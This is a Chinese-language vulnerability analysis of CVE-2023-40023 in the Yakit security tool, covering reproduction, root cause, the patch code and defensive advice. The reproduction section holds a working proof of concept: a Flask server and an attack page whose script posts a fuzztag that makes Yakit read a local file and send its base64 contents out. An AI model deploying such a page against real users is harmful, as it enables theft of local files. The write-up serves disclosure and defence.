yakit CVE-2023-40023漏洞分析
字数 1185 2025-08-23 18:31:09
Yakit CVE-2023-40023漏洞分析与利用教学文档
漏洞概述
CVE-2023-40023是Yakit软件中的一个安全漏洞,允许攻击者通过构造恶意网页,利用Yakit的fuzztag功能读取用户本地文件内容并以base64编码形式发送到攻击者控制的服务器。
漏洞影响
- 受影响版本:Yakit v1.2.4及之前版本
- 漏洞类型:文件读取/信息泄露
- 攻击场景:当Yakit用户使用XSS等插件扫描恶意网页时触发
前置知识:Yakit Fuzztag
基本概念
Fuzztag是Yakit中的一种小型语法结构,格式为:{{tagname(tagvalue)}},例如:
{{randint(1,100)}}:生成1-100随机整数{{base64enc(abc)}}:输出YWJj(abc的base64编码)
相关标签
-
base64enc:进行base64编码
- 示例:
{{base64enc(abc)}}→YWJj
- 示例:
-
file:读取文件内容
- 支持多个文件,用竖线分隔
- 示例:
{{file(/tmp/1.txt)}}{{file(/tmp/1.txt|/tmp/test.txt)}}
漏洞复现
环境准备
-
安装漏洞版本Yakit:
- 下载v1.2.4版本引擎
- 替换默认引擎路径:
- Windows:
C:\Users\<用户>\yakit-projects\yak-engine - 客户端目录:
C:\Users\<用户>\AppData\Local\Programs\yakit
- Windows:
-
搭建攻击环境:
使用Flask创建恶意网站:
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
data = request.form.to_dict()
return data
else:
return 'Unsupported request method'
if __name__ == '__main__':
app.run(debug=True)
创建index.html:
<!DOCTYPE html>
<html>
<head>
<title>Attack Page</title>
</head>
<body>
<h1>Hello, this is a attack page!</h1>
</body>
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:5000");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(`file={{base64enc(file(C://test))}}`);
</script>
</html>
攻击步骤
- 启动恶意Flask服务器
- 在Yakit中打开XSS插件(或其他插件)
- 访问恶意网页
http://127.0.0.1:5000 - 观察POST请求,其中包含
C://test文件的base64编码内容
漏洞原理
- 正常情况:Yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析
- 漏洞触发条件:当流量经过插件处理时,会调用fuzz库解析请求中的fuzztag
- 核心问题:
_httpPool函数会将所有fuzztag进行解析- file tag在初始化时被设置为全局可用
- 插件处理新请求时会解析其中的fuzztag
漏洞修复
修复方案主要修改点:
- 移除
QuickMutateWithCallbackEx2方法 - 在配置中添加
FuzzFileOptions函数:
func FuzzFileOptions() []FuzzConfigOpt {
var opt []FuzzConfigOpt
for _, t := range Filetag() {
opt = append(opt, Fuzz_WithExtraFuzzTagHandler(t.TagName, t.Handler))
for _, a := range t.Alias {
opt = append(opt, Fuzz_WithExtraFuzzTagHandler(a, t.Handler))
}
}
return opt
}
- 通过
config.ForceFuzzfile参数限制file tag解析:
if config.ForceFuzzfile {
opts = append(opts, FuzzFileOptions()...)
}
防御建议
- 及时升级到Yakit最新版本
- 避免使用不受信任的插件
- 谨慎扫描未知网站
- 限制Yakit的网络访问权限